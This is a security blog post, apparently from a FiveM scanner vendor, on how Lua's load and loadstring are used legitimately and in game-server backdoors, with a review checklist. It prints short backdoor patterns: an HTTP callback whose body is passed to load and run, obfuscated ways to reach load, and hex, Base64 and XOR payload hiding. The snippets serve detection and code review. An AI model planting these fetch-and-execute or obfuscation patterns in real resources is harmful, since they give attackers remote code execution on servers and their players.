Skip to content

load and loadstring in FiveM: legitimate uses and backdoor tricks

load() turns a string into running Lua - the sink almost every FiveM backdoor ends in. Legitimate uses, the disguises backdoors use, and how to review it.

Published 4 min readFXScan team, Titan Software

load compiles a string into a Lua function. loadstring is the Lua 5.1 name for the same thing; FiveM's Lua 5.4 runtime uses load, but you will still meet loadstring in older code and in snippets that alias it (loadstring = loadstring or load). Call the returned function and the string runs as code - with every permission the resource has.

That makes load the end point of nearly every FiveM backdoor. It does not make every load a backdoor. This note covers how to tell them apart.

The question that matters

Where does the string come from?

  • From a constant or a file inside the resource itself → usually a plugin system, a config format or a templating trick. Worth understanding, rarely dangerous.
  • From an HTTP response, a net event, a chat command, a KVP value or a file another resource can write → remote code execution. See FiveM RCE for the full list of paths.

Legitimate uses

-- A config file stored as Lua and evaluated in a sandbox
local source = LoadResourceFile(GetCurrentResourceName(), "config/items.lua")
local chunk = load(source, "@items.lua", "t", { })
local items = chunk and chunk()

The input is a file shipped with the resource, the mode is "t" (text only, no precompiled bytecode), and the fourth argument is an empty environment, so the chunk cannot reach _G, ExecuteCommand or anything else. That is a careful use. Many legitimate uses are less careful but still harmless because the input never leaves the resource.

Malicious uses and their disguises

The plain version is rare:

PerformHttpRequest(url, function(_, body) load(body)() end)

What you actually find is load hidden so a text search misses it:

local run = load                           -- alias
_G["lo" .. "ad"](payload)()                -- dynamic global lookup
_ENV[string.char(108,111,97,100)](p)()     -- char codes spelling "load"
local f = rawget(_G, ("daol"):reverse())   -- reversed string

JavaScript resources have the same family: eval, new Function(...), and setTimeout handed a string instead of a function.

and the payload hidden so the file looks empty of anything dangerous:

local p = "6c6f63616c20..."                -- hex
local p = "bG9jYWwgcCA9..."                -- Base64 through a custom decoder
local p = xor(blob, key)                    -- XOR against a short key

Each of these reaches the same sink. FXScan's rules for aliased execution primitives, dynamic lookups of global execution functions, string timers and executed literals that decode to dangerous code exist because of exactly these shapes - see the remote code execution rules and the obfuscation rules.

The bytecode case

load(string.dump(fn))       -- or a long "\27Lua..." literal

load without a mode restriction accepts precompiled Lua bytecode as well as source. Bytecode cannot be read like source, and a resource that ships a blob beginning with the \27Lua signature is shipping code nobody can review. FXScan records precompiled bytecode as unreadable rather than pretending to analyse it, which is itself a reason to ask the author why.

Reviewing load by hand

  1. Find every load and loadstring (and dofile/loadfile where the runtime provides them) - and every place where _G, _ENV or rawget is indexed with a computed string.
  2. For each, trace the argument backward to its source.
  3. If any source is a network callback, an event argument, a command argument or a file outside the resource, treat it as RCE.
  4. Where load is legitimate, prefer load(src, name, "t", env) with a restricted environment.

Step 2 is where manual review breaks down: the string is often assembled across several functions or files. FXScan does that trace automatically, through variables, tables, decoders and aliases, and shows the path. A lone load() is not reported; a path from untrusted input to it is a CRITICAL.

Limits

A load whose input is built from runtime values - a convar, a database row - can be flagged by shape but not evaluated, because the value does not exist when the code is analysed. What a security scan cannot tell you explains where the line is.

Upload a resource to the FiveM backdoor scanner to see every load that untrusted data can reach. If you also want to understand which files a resource loads in the first place, Titan Software's fxmanifest.lua guide explains server_scripts, client_scripts and shared_scripts.

Related reading

load() and loadstring() in FiveM Lua: Safe or Backdoor? | FXScan